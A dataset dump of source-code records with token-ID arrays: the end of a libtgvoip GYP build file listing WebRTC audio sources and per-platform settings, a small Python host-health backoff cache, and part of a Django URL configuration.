'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_remover.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_model_fallback.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/downsampled_render_buffer.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/vector_buffer.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/matrix_buffer.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_frequency_response.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_audibility.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/fft_buffer.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_processor2.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_canceller3.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_delay_buffer.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/aec3_common.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/fft_buffer.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/vector_math.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/decimator.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/frame_blocker.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_framer.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/suppression_gain_limiter.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/delay_estimate.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/comfort_noise_generator.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_model.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/main_filter_update_gain.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/matched_filter_lag_aggregator.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/shadow_filter_update_gain.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/filter_analyzer.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_decay_estimator.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_frequency_response.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/decimator.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_delay_buffer.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_control_mobile_impl.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/gain_control_impl.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/typing_detection.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/logging/apm_data_dumper.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/logging/apm_data_dumper.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/voice_activity_detector.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/standalone_vad.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/vad_audio_proc_internal.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/pitch_internal.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/vad_circular_buffer.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/vad_circular_buffer.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/pitch_based_vad.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/vad_audio_proc.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/pole_zero_filter.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/pole_zero_filter.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/pitch_based_vad.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/gmm.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/common.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/vad_audio_proc.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/voice_gmm_tables.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/noise_gmm_tables.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/pitch_internal.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/gmm.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/standalone_vad.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/voice_activity_detector.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/delay_estimator_internal.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/delay_estimator_wrapper.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft_sse2.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/delay_estimator.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/block_mean_calculator.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/block_mean_calculator.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/delay_estimator.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft_tables_common.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/delay_estimator_wrapper.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/mocks/mock_smoothing_filter.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/wav_file.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/window_generator.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/channel_buffer.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_factory.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/sparse_fir_filter.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_sse.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/window_generator.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/ring_buffer.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/include/audio_util.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/wav_header.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/real_fourier_ooura.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/audio_util.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/real_fourier_ooura.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_sse.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/smoothing_filter.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/push_sinc_resampler.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinc_resampler.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/resampler.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinc_resampler_sse.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/include/push_resampler.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/include/resampler.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/push_sinc_resampler.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/push_resampler.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinusoidal_linear_chirp_source.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinc_resampler.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinusoidal_linear_chirp_source.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_factory.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/audio_converter.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/wav_file.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/spl_sqrt_floor/spl_sqrt_floor.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/spl_sqrt_floor/spl_sqrt_floor.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/fft4g/fft4g.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/fft4g/fft4g.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/audio_converter.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/real_fourier.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/channel_buffer.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/real_fourier.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/sparse_fir_filter.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/smoothing_filter.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_c.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/ring_buffer.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_c.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/complex_fft_tables.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/complex_fft.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/filter_ma_fast_q12.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/levinson_durbin.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/dot_product_with_scale.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/auto_corr_to_refl_coef.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_by_2_internal.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/energy.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/sqrt_of_one_minus_x_squared.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/downsample_fast.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/splitting_filter1.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/filter_ar_fast_q12.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/spl_init.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/lpc_to_refl_coef.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/cross_correlation.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/include/signal_processing_library.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/include/real_fft.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/include/spl_inl.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/division_operations.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/auto_correlation.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/get_scaling_square.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/dot_product_with_scale.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_by_2_internal.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/min_max_operations.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/refl_coef_to_lpc.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/filter_ar.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/vector_scaling_operations.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_fractional.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/real_fft.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/ilbc_specific_functions.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/complex_bit_reverse.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/randomization_functions.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/copy_set_operations.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_by_2.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/get_hanning_window.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_48khz.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/spl_inl.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/spl_sqrt.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/wav_header.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_sp.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/webrtc_vad.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_core.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/include/vad.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/include/webrtc_vad.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_gmm.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_filterbank.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_core.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_sp.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_filterbank.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_gmm.c', # ARM/NEON sources # TODO check if there's a good way to make these compile with ARM ports of TDesktop #'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/nsx_core_neon.c', #'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec/aec_core_neon.cc', #'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aecm/aecm_core_neon.cc', #'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft_tables_neon_sse2.h', #'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft_neon.cc', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_neon.cc', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinc_resampler_neon.cc', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/spl_sqrt_floor/spl_sqrt_floor_arm.S', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_neon.h', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/downsample_fast_neon.c', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/complex_bit_reverse_arm.S', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/include/spl_inl_armv7.h', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/min_max_operations_neon.c', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/cross_correlation_neon.c', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/filter_ar_fast_q12_armv7.S', ], 'libraries': [], 'configurations': { 'Debug': {}, 'Release': {}, }, 'conditions': [ [ '"<(OS)" != "win"', { 'sources/': [['exclude', '<(tgvoip_src_loc)/os/windows/']], }, { 'sources/': [['exclude', '<(tgvoip_src_loc)/os/posix/']], }, ], [ '"<(OS)" != "mac"', { 'sources/': [['exclude', '<(tgvoip_src_loc)/os/darwin/']], }, ], [ '"<(OS)" != "linux"', { 'sources/': [['exclude', '<(tgvoip_src_loc)/os/linux/']], }, ], [ '"<(OS)" == "mac"', { 'xcode_settings': { 'CLANG_CXX_LANGUAGE_STANDARD': 'c++11', 'ALWAYS_SEARCH_USER_PATHS': 'NO', }, 'defines': [ 'WEBRTC_POSIX', 'WEBRTC_MAC', 'TARGET_OS_OSX', ], 'sources': [ '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging_mac.mm', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging_mac.h', ], 'conditions': [ [ '"<(official_build_target)" == "mac32"', { 'xcode_settings': { 'MACOSX_DEPLOYMENT_TARGET': '10.6', 'OTHER_CPLUSPLUSFLAGS': [ '-nostdinc++' ], }, 'include_dirs': [ '/usr/local/macold/include/c++/v1', '<(DEPTH)/../../../Libraries/macold/openssl/include', ], 'defines': [ 'TARGET_OSX32', ], }, { 'xcode_settings': { 'MACOSX_DEPLOYMENT_TARGET': '10.8', 'CLANG_CXX_LIBRARY': 'libc++', }, 'include_dirs': [ '<(DEPTH)/../../../Libraries/openssl/include', ], 'direct_dependent_settings': { 'linkflags': [ '-framework VideoToolbox', ], }, 'sources': [ '<(tgvoip_src_loc)/os/darwin/TGVVideoRenderer.mm', '<(tgvoip_src_loc)/os/darwin/TGVVideoRenderer.h', '<(tgvoip_src_loc)/os/darwin/TGVVideoSource.mm', '<(tgvoip_src_loc)/os/darwin/TGVVideoSource.h', '<(tgvoip_src_loc)/os/darwin/VideoToolboxEncoderSource.mm', '<(tgvoip_src_loc)/os/darwin/VideoToolboxEncoderSource.h', '<(tgvoip_src_loc)/os/darwin/SampleBufferDisplayLayerRenderer.mm', '<(tgvoip_src_loc)/os/darwin/SampleBufferDisplayLayerRenderer.h', ], }], ['"<(official_build_target)" == "macstore"', { 'defines': [ 'TGVOIP_NO_OSX_PRIVATE_API', ], }], ], }, ], [ '"<(OS)" == "win"', { 'msbuild_toolset': 'v141', 'defines': [ 'NOMINMAX', '_USING_V110_SDK71_', 'TGVOIP_WINXP_COMPAT', 'WEBRTC_WIN', ], 'libraries': [ 'winmm', 'ws2_32', 'kernel32', 'user32', ], 'msvs_cygwin_shell': 0, 'msvs_settings': { 'VCCLCompilerTool': { 'ProgramDataBaseFileName': '$(OutDir)\\$(ProjectName).pdb', 'DebugInformationFormat': '3', # Program Database (/Zi) 'AdditionalOptions': [ '/MP', # Enable multi process build. '/EHsc', # Catch C++ exceptions only, extern C functions never throw a C++ exception. '/wd4068', # Disable "warning C4068: unknown pragma" ], 'TreatWChar_tAsBuiltInType': 'false', }, }, 'msvs_external_builder_build_cmd': [ 'ninja.exe', '-C', '$(OutDir)', '-k0', '$(ProjectName)', ], 'configurations': { 'Debug': { 'defines': [ '_DEBUG', ], 'include_dirs': [ '<(DEPTH)/../../../Libraries/openssl/Debug/include', ], 'msvs_settings': { 'VCCLCompilerTool': { 'Optimization': '0', # Disabled (/Od) 'RuntimeLibrary': '1', # Multi-threaded Debug (/MTd) 'RuntimeTypeInfo': 'true', }, 'VCLibrarianTool': { 'AdditionalOptions': [ '/NODEFAULTLIB:LIBCMT' ] } }, }, 'Release': { 'defines': [ 'NDEBUG', ], 'include_dirs': [ '<(DEPTH)/../../../Libraries/openssl/Release/include', ], 'msvs_settings': { 'VCCLCompilerTool': { 'Optimization': '2', # Maximize Speed (/O2) 'InlineFunctionExpansion': '2', # Any suitable (/Ob2) 'EnableIntrinsicFunctions': 'true', # Yes (/Oi) 'FavorSizeOrSpeed': '1', # Favor fast code (/Ot) 'RuntimeLibrary': '0', # Multi-threaded (/MT) 'EnableEnhancedInstructionSet': '2', # Streaming SIMD Extensions 2 (/arch:SSE2) 'WholeProgramOptimization': 'true', # /GL }, 'VCLibrarianTool': { 'AdditionalOptions': [ '/LTCG', ] }, }, }, }, }, ], [ '"<(OS)" == "linux"', { 'defines': [ 'WEBRTC_POSIX', 'WEBRTC_LINUX', ], 'conditions': [ [ '"<!(uname -m)" == "i686"', { 'cflags_cc': [ '-msse2', ], }] ], 'direct_dependent_settings': { 'libraries': [ ], }, }, ], ], }, ], }	[ 1, 529, 9507, 29958, 1982, 29873, 29887, 1365, 666, 29889, 29887, 1478, 13, 29937, 402, 29979, 29925, 2060, 934, 363, 323, 17600, 13, 13, 29912, 13, 1678, 525, 5182, 29879, 2396, 518, 13, 418, 426, 13, 4706, 525, 5182, 29918, 978, 2396, 525, 1982, 29873, 29887, 1365, 666, 742, 13, 4706, 525, 1853, 2396, 525, 7959, 29918, 5258, 742, 13, 4706, 525, 22594, 2396, 19997, 13, 4706, 525, 1753, 1475, 2396, 518, 13, 3986, 525, 8851, 15176, 9472, 29918, 3301, 29924, 29918, 18525, 29918, 14849, 3580, 29922, 29900, 742, 13, 3986, 525, 29911, 22928, 29949, 5690, 29918, 17171, 29918, 2287, 16033, 29911, 4590, 29918, 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src/lib/sd2/host_health.py	zachkont/sd2	0	76892	#!/usr/bin/env python ############################################################################# # Copyright (c) 2017 SiteWare Corp. All right reserved ############################################################################# """A small cache that keeps track of unhealthy hosts and backs off from using them""" import time import logging unhealthy_hosts = {} def set_host_unhealthy(hostname): logging.warning("HH:SHOU %s", hostname) entry = unhealthy_hosts.get(hostname) if entry is None: entry = { 'successes':0, 'failures': 5 # very first time unhealthy? shut it down... } unhealthy_hosts[hostname] = entry entry["failures"] += 1 entry["timestamp"] = time.time() logging.warning("HH:SHOU:LL {} {}".format(hostname, entry)) def set_host_healthy(hostname): logging.debug("HH:SHOH %s", hostname) entry = unhealthy_hosts.get(hostname) if entry is None: entry = { 'timestamp': time.time(), 'successes': 0, } unhealthy_hosts[hostname] = entry entry['successes'] += 1 entry['failures'] = 0 def is_host_healthy(hostname): hostentry = unhealthy_hosts.get(hostname) if hostentry is None: return True if (hostentry.get('failures') and (time.time() - hostentry['timestamp']) < min(60 * 60, 2 ^ hostentry['failures'])) : logging.warning("HH:IHOU {} {}".format(hostname, hostentry)) return False return True def set_host_health(hostname, is_healthy): if is_healthy: set_host_healthy(hostname) else: set_host_unhealthy(hostname)	[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 13, 13383, 13383, 13383, 13383, 7346, 4136, 29937, 13, 29937, 14187, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29955, 10781, 29956, 598, 2994, 29886, 29889, 2178, 1492, 21676, 13, 13383, 13383, 13383, 13383, 7346, 4136, 29937, 13, 15945, 29908, 29909, 2319, 7090, 393, 14874, 5702, 310, 443, 354, 4298, 29891, 18982, 322, 1250, 29879, 1283, 515, 773, 13, 386, 331, 15945, 29908, 13, 13, 5215, 931, 13, 5215, 12183, 13, 13, 348, 354, 4298, 29891, 29918, 23525, 353, 6571, 13, 13, 13, 1753, 731, 29918, 3069, 29918, 348, 354, 4298, 29891, 29898, 28988, 1125, 13, 1678, 12183, 29889, 27392, 703, 27590, 29901, 7068, 27269, 1273, 29879, 613, 3495, 978, 29897, 13, 1678, 6251, 353, 443, 354, 4298, 29891, 29918, 23525, 29889, 657, 29898, 28988, 29897, 13, 1678, 565, 6251, 338, 6213, 29901, 13, 4706, 6251, 353, 426, 13, 9651, 525, 8698, 267, 2396, 29900, 29892, 13, 9651, 525, 14057, 1973, 2396, 29871, 29945, 396, 1407, 937, 931, 443, 354, 4298, 29891, 29973, 12522, 372, 1623, 856, 13, 4706, 500, 13, 4706, 443, 354, 4298, 29891, 29918, 23525, 29961, 28988, 29962, 353, 6251, 29871, 13, 1678, 6251, 3366, 14057, 1973, 3108, 4619, 29871, 29896, 13, 1678, 6251, 3366, 16394, 3108, 353, 931, 29889, 2230, 580, 13, 1678, 12183, 29889, 27392, 703, 27590, 29901, 7068, 27269, 29901, 2208, 6571, 6571, 1642, 4830, 29898, 28988, 29892, 6251, 876, 13, 13, 13, 1753, 731, 29918, 3069, 29918, 354, 4298, 29891, 29898, 28988, 1125, 13, 1678, 12183, 29889, 8382, 703, 27590, 29901, 7068, 23170, 1273, 29879, 613, 3495, 978, 29897, 13, 1678, 6251, 353, 443, 354, 4298, 29891, 29918, 23525, 29889, 657, 29898, 28988, 29897, 13, 1678, 565, 6251, 338, 6213, 29901, 13, 4706, 6251, 353, 426, 13, 9651, 525, 16394, 2396, 931, 29889, 2230, 3285, 13, 9651, 525, 8698, 267, 2396, 29871, 29900, 29892, 13, 4706, 500, 13, 4706, 443, 354, 4298, 29891, 29918, 23525, 29961, 28988, 29962, 353, 6251, 13, 1678, 6251, 1839, 8698, 267, 2033, 4619, 29871, 29896, 13, 1678, 6251, 1839, 14057, 1973, 2033, 353, 29871, 29900, 13, 13, 13, 1753, 338, 29918, 3069, 29918, 354, 4298, 29891, 29898, 28988, 1125, 13, 1678, 3495, 8269, 353, 443, 354, 4298, 29891, 29918, 23525, 29889, 657, 29898, 28988, 29897, 13, 1678, 565, 3495, 8269, 338, 6213, 29901, 13, 4706, 736, 5852, 259, 13, 1678, 565, 313, 3069, 8269, 29889, 657, 877, 14057, 1973, 1495, 322, 29871, 13, 4706, 313, 2230, 29889, 2230, 580, 448, 3495, 8269, 1839, 16394, 11287, 529, 1375, 29898, 29953, 29900, 334, 29871, 29953, 29900, 29892, 29871, 29906, 6228, 3495, 8269, 1839, 14057, 1973, 25901, 584, 13, 4706, 12183, 29889, 27392, 703, 27590, 29901, 29902, 8187, 29965, 6571, 6571, 1642, 4830, 29898, 28988, 29892, 3495, 8269, 876, 13, 4706, 736, 7700, 13, 268, 13, 1678, 736, 5852, 13, 13, 13, 1753, 731, 29918, 3069, 29918, 354, 4298, 29898, 28988, 29892, 338, 29918, 354, 4298, 29891, 1125, 13, 1678, 565, 338, 29918, 354, 4298, 29891, 29901, 13, 4706, 731, 29918, 3069, 29918, 354, 4298, 29891, 29898, 28988, 29897, 13, 1678, 1683, 29901, 13, 4706, 731, 29918, 3069, 29918, 348, 354, 4298, 29891, 29898, 28988, 29897, 268, 2 ]
src/config/urls.py	snicoper/snicoper.com	2	162738	from django.conf import settings from django.conf.urls import include, url from django.contrib import admin from django.contrib.sitemaps.views import sitemap from django.views.static import serve from blog.sitemaps import BlogSitemap from blog.views import ArticleListView sitemaps = { 'blog': BlogSitemap } # i18n_patterns urlpatterns = [ ################################################## # / Pagina de inicio. url(r'^$', ArticleListView.as_view(), name='home_page'), ################################################## # /accounts/* url(r'^accounts/', include('accounts.urls')), # /auth/* url(r'^auth/', include('authentication.urls')), # /blog/* url(r'^blog/', include('blog.urls')), # /contact/* url(r'^contact/', include('contact.urls')), # /home/* url(r'^home/', include('home.urls')), # /pages/* url(r'^pages/', include('pages.urls')), # /search/* url(r'^search/', include('search.urls')), # /stats/* url(r'^stats/', include('stats.urls')), # /sitemap.xml url( regex=r'^sitemap\.xml$', view=sitemap, kwargs={'sitemaps': sitemaps}, name='django.contrib.sitemaps.views.sitemap' ), # /admin/* url(r'^admin/', admin.site.urls), ] if settings.DEBUG: # static files (images, css, javascript, etc.) import debug_toolbar urlpatterns += [ # /media/:<mixed>path/ url( regex=r'^media/(?P<path>.*)$', view=serve, kwargs={'document_root': settings.MEDIA_ROOT} ), url(r'^__debug__/', include(debug_toolbar.urls)), ]	[ 1, 515, 9557, 29889, 5527, 1053, 6055, 13, 3166, 9557, 29889, 5527, 29889, 26045, 1053, 3160, 29892, 3142, 13, 3166, 9557, 29889, 21570, 1053, 4113, 13, 3166, 9557, 29889, 21570, 29889, 29879, 667, 2547, 29889, 7406, 1053, 269, 667, 481, 13, 3166, 9557, 29889, 7406, 29889, 7959, 1053, 9080, 13, 13, 3166, 12618, 29889, 29879, 667, 2547, 1053, 350, 1188, 29903, 667, 481, 13, 3166, 12618, 29889, 7406, 1053, 21746, 15660, 13, 13, 29879, 667, 2547, 353, 426, 13, 1678, 525, 7312, 2396, 350, 1188, 29903, 667, 481, 13, 29913, 13, 13, 29937, 474, 29896, 29947, 29876, 29918, 11037, 29879, 13, 2271, 11037, 29879, 353, 518, 13, 13, 1678, 835, 13383, 13383, 7346, 4136, 2277, 29937, 13, 1678, 396, 847, 349, 351, 1099, 316, 297, 11088, 29889, 13, 1678, 3142, 29898, 29878, 29915, 29985, 29938, 742, 21746, 15660, 29889, 294, 29918, 1493, 3285, 1024, 2433, 5184, 29918, 3488, 5477, 13, 1678, 835, 13383, 13383, 7346, 4136, 2277, 29937, 13, 13, 1678, 396, 847, 10149, 29879, 5515, 13, 1678, 3142, 29898, 29878, 29915, 29985, 10149, 29879, 29914, 742, 3160, 877, 10149, 29879, 29889, 26045, 1495, 511, 13, 13, 1678, 396, 847, 5150, 5515, 13, 1678, 3142, 29898, 29878, 29915, 29985, 5150, 29914, 742, 3160, 877, 23055, 29889, 26045, 1495, 511, 13, 13, 1678, 396, 847, 7312, 5515, 13, 1678, 3142, 29898, 29878, 29915, 29985, 7312, 29914, 742, 3160, 877, 7312, 29889, 26045, 1495, 511, 13, 13, 1678, 396, 847, 12346, 5515, 13, 1678, 3142, 29898, 29878, 29915, 29985, 12346, 29914, 742, 3160, 877, 12346, 29889, 26045, 1495, 511, 13, 13, 1678, 396, 847, 5184, 5515, 13, 1678, 3142, 29898, 29878, 29915, 29985, 5184, 29914, 742, 3160, 877, 5184, 29889, 26045, 1495, 511, 13, 13, 1678, 396, 847, 12292, 5515, 13, 1678, 3142, 29898, 29878, 29915, 29985, 12292, 29914, 742, 3160, 877, 12292, 29889, 26045, 1495, 511, 13, 13, 1678, 396, 847, 4478, 5515, 13, 1678, 3142, 29898, 29878, 29915, 29985, 4478, 29914, 742, 3160, 877, 4478, 29889, 26045, 1495, 